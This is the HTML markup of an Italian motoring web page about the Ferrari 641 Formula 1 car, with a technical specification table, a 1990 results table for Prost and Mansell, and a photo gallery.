<figure class="wp-block-table"><table><tbody><tr><th colspan="6">Configurazione</th></tr><tr><td colspan="2"><strong>Carrozzeria</strong>: monoposto</td><td colspan="2"><strong>Posizione motore</strong>: posteriore</td><td colspan="2"><strong>Trazione</strong>: posteriore</td></tr><tr><th colspan="6">Dimensioni e pesi</th></tr><tr><td colspan="4"><strong>Ingombri</strong> (lungh.×largh.×alt. in mm): 4460 × 2130 × 1000</td><td colspan="2">&nbsp;</td></tr><tr><td colspan="2"><strong>Interasse</strong>: 2855&nbsp;mm</td><td colspan="2"><strong>Carreggiate</strong>: anteriore 1800 &#8211; posteriore 1657&nbsp;mm</td><td colspan="2"><strong>Serbatoio</strong>: 220 l</td></tr><tr><td colspan="2">&nbsp;</td><td colspan="2">&nbsp;</td><td colspan="2">&nbsp;</td></tr><tr><th colspan="6">Meccanica</th></tr><tr><td colspan="3"><strong>Tipo motore</strong>: Ferrari tipo 036 V12 65°</td><td colspan="3"><strong>Cilindrata</strong>: 3497,96&nbsp;cm³</td></tr><tr><td colspan="3"><strong>Distribuzione</strong>: 4 alberi camme in testa, 5 valvole per cilindro</td><td colspan="3"><strong>Alimentazione</strong>: Iniezione indiretta elettronica digitale Weber-Marelli con doppio iniettore</td></tr><tr><td><strong>Prestazioni motore</strong></td><td colspan="5">Potenza: 680 CV</td></tr><tr><td colspan="3"><strong>Accensione</strong>: elettronica Magneti Marelli statica</td><td colspan="3"><strong>Impianto elettrico</strong>:</td></tr><tr><td colspan="3"><strong>Frizione</strong>: 3 dischi in carbonio</td><td colspan="3"><strong>Cambio</strong>: Ferrari longitudinale a sbalzo, 7 marce+retromarcia, semiautomatico a gestione elettronica</td></tr><tr><th colspan="6">Telaio</th></tr><tr><td><strong>Corpo vettura</strong></td><td colspan="5">monoscocca in fibra di carbonio e kevlar a nido d&#8217;ape</td></tr><tr><td><strong>Sterzo</strong></td><td colspan="5">cremagliera</td></tr><tr><td><strong>Sospensioni</strong></td><td colspan="5">anteriori: quadrilateri deformabili, 2 triangoli sovrapposti a sezione ellittica, molleggio a puntone o <em>push rod</em> / posteriori: quadrilateri deformabili, triangolo superiore, trapezio inferiore, molleggio a puntone o <em>push rod</em></td></tr><tr><td><strong>Freni</strong></td><td colspan="5">anteriori: a disco autoventilanti in carbonio / posteriori: a disco autoventilanti in carbonio</td></tr><tr><td><strong>Pneumatici</strong></td><td colspan="5">Goodyear</td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><strong>RISULTATI</strong></p>



<figure class="wp-block-table"><table><tbody><tr><td>Prost</td><td>Rit</td><td><strong>1</strong></td><td>4</td><td>Rit</td><td>5</td><td><strong>1</strong></td><td><strong>1</strong></td><td><strong>1</strong></td><td>4</td><td>Rit</td><td>2</td><td>2</td><td>3</td><td><strong>1</strong></td><td>Rit</td><td>3</td><td rowspan="2">110</td><td rowspan="2">2º</td></tr><tr><td>Mansell</td><td>Rit</td><td>4</td><td>Rit</td><td>Rit</td><td>3</td><td>2</td><td>18</td><td>Rit</td><td>Rit</td><td>17</td><td>Rit</td><td>4</td><td><strong>1</strong></td><td>2</td><td>Rit</td><td>2</td></tr></tbody></table></figure>



<figure class="wp-block-gallery has-nested-images columns-3 is-cropped wp-block-gallery-2 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="683" data-id="91182" src="https://www.giornalemotori.com/wp-content/uploads//2020/03/Ferrari-641-F1-132376.jpg" alt="Ferrari 641 F1 132376" class="wp-image-91182" title="Monoposto leggendarie: Ferrari 641, l&#039;anti McLaren 697" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132376.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132376-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132376-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132376-696x464.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Monoposto leggendarie: Ferrari 641, l'anti McLaren 729</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="683" data-id="91181" src="https://www.giornalemotori.com/wp-content/uploads//2020/03/Ferrari-641-F1-132375.jpg" alt="Ferrari 641 F1 132375" class="wp-image-91181" title="Monoposto leggendarie: Ferrari 641, l&#039;anti McLaren 698" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132375.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132375-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132375-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132375-696x464.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Monoposto leggendarie: Ferrari 641, l'anti McLaren 730</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="683" data-id="91180" src="https://www.giornalemotori.com/wp-content/uploads//2020/03/Ferrari-641-F1-132374.jpg" alt="Ferrari 641 F1 132374" class="wp-image-91180" title="Monoposto leggendarie: Ferrari 641, l&#039;anti McLaren 699" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132374.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132374-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132374-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132374-696x464.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Monoposto leggendarie: Ferrari 641, l'anti McLaren 731</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="683" data-id="91179" src="https://www.giornalemotori.com/wp-content/uploads//2020/03/Ferrari-641-F1-132373.jpg" alt="Ferrari 641 F1 132373" class="wp-image-91179" title="Monoposto leggendarie: Ferrari 641, l&#039;anti McLaren 700" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132373.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132373-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132373-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132373-696x464.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Monoposto leggendarie: Ferrari 641, l'anti McLaren 732</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="683" data-id="91178" src="https://www.giornalemotori.com/wp-content/uploads//2020/03/Ferrari-641-F1-132372.jpg" alt="Ferrari 641 F1 132372" class="wp-image-91178" title="Monoposto leggendarie: Ferrari 641, l&#039;anti McLaren 701" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132372.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132372-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132372-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132372-696x464.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Monoposto leggendarie: Ferrari 641, l'anti McLaren 733</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="683" data-id="91177" src="https://www.giornalemotori.com/wp-content/uploads//2020/03/Ferrari-641-F1-132369.jpg" alt="Ferrari 641 F1 132369" class="wp-image-91177" title="Monoposto leggendarie: Ferrari 641, l&#039;anti McLaren 702" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132369.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132369-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132369-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132369-696x464.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Monoposto leggendarie: Ferrari 641, l'anti McLaren 734</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="683" data-id="91176" src="https://www.giornalemotori.com/wp-content/uploads//2020/03/Ferrari-641-F1-132367.jpg" alt="Ferrari 641 F1 132367" class="wp-image-91176" title="Monoposto leggendarie: Ferrari 641, l&#039;anti McLaren 703" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132367.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132367-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132367-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132367-696x464.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Monoposto leggendarie: Ferrari 641, l'anti McLaren 735</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="683" data-id="91175" src="https://www.giornalemotori.com/wp-content/uploads//2020/03/Ferrari-641-F1-132366.jpg" alt="Ferrari 641 F1 132366" class="wp-image-91175" title="Monoposto leggendarie: Ferrari 641, l&#039;anti McLaren 704" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132366.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132366-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132366-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132366-696x464.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Monoposto leggendarie: Ferrari 641, l'anti McLaren 736</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="683" data-id="91174" src="https://www.giornalemotori.com/wp-content/uploads//2020/03/Ferrari-641-F1-132363.jpg" alt="Ferrari 641 F1 132363" class="wp-image-91174" title="Monoposto leggendarie: Ferrari 641, l&#039;anti McLaren 705" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132363.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132363-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132363-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132363-696x464.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Monoposto leggendarie: Ferrari 641, l'anti McLaren 737</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="683" data-id="91173" src="https://www.giornalemotori.com/wp-content/uploads//2020/03/Ferrari-641-F1-132362.jpg" alt="Ferrari 641 F1 132362" class="wp-image-91173" title="Monoposto leggendarie: Ferrari 641, l&#039;anti McLaren 706" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132362.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132362-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132362-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132362-696x464.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Monoposto leggendarie: Ferrari 641, l'anti McLaren 738</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="683" data-id="91172" src="https://www.giornalemotori.com/wp-content/uploads//2020/03/Ferrari-641-F1-132361.jpg" alt="Ferrari 641 F1 132361" class="wp-image-91172" title="Monoposto leggendarie: Ferrari 641, l&#039;anti McLaren 707" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132361.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132361-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132361-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132361-696x464.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Monoposto leggendarie: Ferrari 641, l'anti McLaren 739</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="683" data-id="91171" src="https://www.giornalemotori.com/wp-content/uploads//2020/03/Ferrari-641-F1-132360.jpg" alt="Ferrari 641 F1 132360" class="wp-image-91171" title="Monoposto leggendarie: Ferrari 641, l&#039;anti McLaren 708" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132360.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132360-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132360-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132360-696x464.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Monoposto leggendarie: Ferrari 641, l'anti McLaren 740</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="683" data-id="91170" src="https://www.giornalemotori.com/wp-content/uploads//2020/03/Ferrari-641-F1-132359.jpg" alt="Ferrari 641 F1 132359" class="wp-image-91170" title="Monoposto leggendarie: Ferrari 641, l&#039;anti McLaren 709" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132359.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132359-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132359-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-132359-696x464.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Monoposto leggendarie: Ferrari 641, l'anti McLaren 741</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="683" data-id="91169" src="https://www.giornalemotori.com/wp-content/uploads//2020/03/Ferrari-641-F1-51336.jpg" alt="Ferrari 641 F1 51336" class="wp-image-91169" title="Monoposto leggendarie: Ferrari 641, l&#039;anti McLaren 710" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-51336.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-51336-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-51336-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-51336-696x464.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Monoposto leggendarie: Ferrari 641, l'anti McLaren 742</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="683" data-id="91168" src="https://www.giornalemotori.com/wp-content/uploads//2020/03/Ferrari-641-F1-51335.jpg" alt="Ferrari 641 F1 51335" class="wp-image-91168" title="Monoposto leggendarie: Ferrari 641, l&#039;anti McLaren 711" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-51335.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-51335-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-51335-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-51335-696x464.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Monoposto leggendarie: Ferrari 641, l'anti McLaren 743</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="683" data-id="91167" src="https://www.giornalemotori.com/wp-content/uploads//2020/03/Ferrari-641-F1-51334.jpg" alt="Ferrari 641 F1 51334" class="wp-image-91167" title="Monoposto leggendarie: Ferrari 641, l&#039;anti McLaren 712" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-51334.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-51334-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-51334-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-51334-696x464.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Monoposto leggendarie: Ferrari 641, l'anti McLaren 744</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="683" data-id="91166" src="https://www.giornalemotori.com/wp-content/uploads//2020/03/Ferrari-641-F1-51333.jpg" alt="Ferrari 641 F1 51333" class="wp-image-91166" title="Monoposto leggendarie: Ferrari 641, l&#039;anti McLaren 713" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-51333.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-51333-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-51333-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-51333-696x464.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Monoposto leggendarie: Ferrari 641, l'anti McLaren 745</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="683" data-id="91165" src="https://www.giornalemotori.com/wp-content/uploads//2020/03/Ferrari-641-F1-51332.jpg" alt="Ferrari 641 F1 51332" class="wp-image-91165" title="Monoposto leggendarie: Ferrari 641, l&#039;anti McLaren 714" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-51332.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-51332-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-51332-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-51332-696x464.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Monoposto leggendarie: Ferrari 641, l'anti McLaren 746</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="683" data-id="91164" src="https://www.giornalemotori.com/wp-content/uploads//2020/03/Ferrari-641-F1-51330.jpg" alt="Ferrari 641 F1 51330" class="wp-image-91164" title="Monoposto leggendarie: Ferrari 641, l&#039;anti McLaren 715" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-51330.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-51330-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-51330-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-51330-696x464.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Monoposto leggendarie: Ferrari 641, l'anti McLaren 747</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="683" data-id="91163" src="https://www.giornalemotori.com/wp-content/uploads//2020/03/Ferrari-641-F1-51329.jpg" alt="Ferrari 641 F1 51329" class="wp-image-91163" title="Monoposto leggendarie: Ferrari 641, l&#039;anti McLaren 716" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-51329.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-51329-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-51329-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-51329-696x464.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Monoposto leggendarie: Ferrari 641, l'anti McLaren 748</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="683" data-id="91162" src="https://www.giornalemotori.com/wp-content/uploads//2020/03/Ferrari-641-F1-51328.jpg" alt="Ferrari 641 F1 51328" class="wp-image-91162" title="Monoposto leggendarie: Ferrari 641, l&#039;anti McLaren 717" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-51328.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-51328-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-51328-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-51328-696x464.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Monoposto leggendarie: Ferrari 641, l'anti McLaren 749</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="683" data-id="91161" src="https://www.giornalemotori.com/wp-content/uploads//2020/03/Ferrari-641-F1-51327.jpg" alt="Ferrari 641 F1 51327" class="wp-image-91161" title="Monoposto leggendarie: Ferrari 641, l&#039;anti McLaren 718" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-51327.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-51327-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-51327-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-51327-696x464.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Monoposto leggendarie: Ferrari 641, l'anti McLaren 750</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="683" data-id="91160" src="https://www.giornalemotori.com/wp-content/uploads//2020/03/Ferrari-641-F1-2968.jpg" alt="Ferrari 641 F1 2968" class="wp-image-91160" title="Monoposto leggendarie: Ferrari 641, l&#039;anti McLaren 719" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-2968.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-2968-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-2968-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-2968-696x464.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Monoposto leggendarie: Ferrari 641, l'anti McLaren 751</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="683" data-id="91159" src="https://www.giornalemotori.com/wp-content/uploads//2020/03/Ferrari-641-F1-2967.jpg" alt="Ferrari 641 F1 2967" class="wp-image-91159" title="Monoposto leggendarie: Ferrari 641, l&#039;anti McLaren 720" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-2967.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-2967-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-2967-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-2967-696x464.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Monoposto leggendarie: Ferrari 641, l'anti McLaren 752</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="683" data-id="91158" src="https://www.giornalemotori.com/wp-content/uploads//2020/03/Ferrari-641-F1-2966.jpg" alt="Ferrari 641 F1 2966" class="wp-image-91158" title="Monoposto leggendarie: Ferrari 641, l&#039;anti McLaren 721" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-2966.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-2966-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-2966-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-2966-696x464.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Monoposto leggendarie: Ferrari 641, l'anti McLaren 753</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="683" data-id="91157" src="https://www.giornalemotori.com/wp-content/uploads//2020/03/Ferrari-641-F1-2965.jpg" alt="Ferrari 641 F1 2965" class="wp-image-91157" title="Monoposto leggendarie: Ferrari 641, l&#039;anti McLaren 722" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-2965.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-2965-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-2965-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-2965-696x464.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Monoposto leggendarie: Ferrari 641, l'anti McLaren 754</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="683" data-id="91156" src="https://www.giornalemotori.com/wp-content/uploads//2020/03/Ferrari-641-F1-2964.jpg" alt="Ferrari 641 F1 2964" class="wp-image-91156" title="Monoposto leggendarie: Ferrari 641, l&#039;anti McLaren 723" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-2964.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-2964-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-2964-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-2964-696x464.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Monoposto leggendarie: Ferrari 641, l'anti McLaren 755</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="683" data-id="91155" src="https://www.giornalemotori.com/wp-content/uploads//2020/03/Ferrari-641-F1-2963.jpg" alt="Ferrari 641 F1 2963" class="wp-image-91155" title="Monoposto leggendarie: Ferrari 641, l&#039;anti McLaren 724" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-2963.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-2963-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-2963-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-2963-696x464.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Monoposto leggendarie: Ferrari 641, l'anti McLaren 756</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="683" data-id="91154" src="https://www.giornalemotori.com/wp-content/uploads//2020/03/Ferrari-641-F1-2960.jpg" alt="Ferrari 641 F1 2960" class="wp-image-91154" title="Monoposto leggendarie: Ferrari 641, l&#039;anti McLaren 725" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-2960.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-2960-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-2960-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-2960-696x464.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Monoposto leggendarie: Ferrari 641, l'anti McLaren 757</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="683" data-id="91153" src="https://www.giornalemotori.com/wp-content/uploads//2020/03/Ferrari-641-F1-2959.jpg" alt="Ferrari 641 F1 2959" class="wp-image-91153" title="Monoposto leggendarie: Ferrari 641, l&#039;anti McLaren 726" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-2959.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-2959-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-2959-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-2959-696x464.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Monoposto leggendarie: Ferrari 641, l'anti McLaren 758</figcaption></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="683" data-id="91152" src="https://www.giornalemotori.com/wp-content/uploads//2020/03/Ferrari-641-F1-2958.jpg" alt="Ferrari 641 F1 2958" class="wp-image-91152" title="Monoposto leggendarie: Ferrari 641, l&#039;anti McLaren 727" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-2958.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-2958-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-2958-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/03/Ferrari-641-F1-2958-696x464.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Monoposto leggendarie: Ferrari 641, l'anti McLaren 759</figcaption></figure>



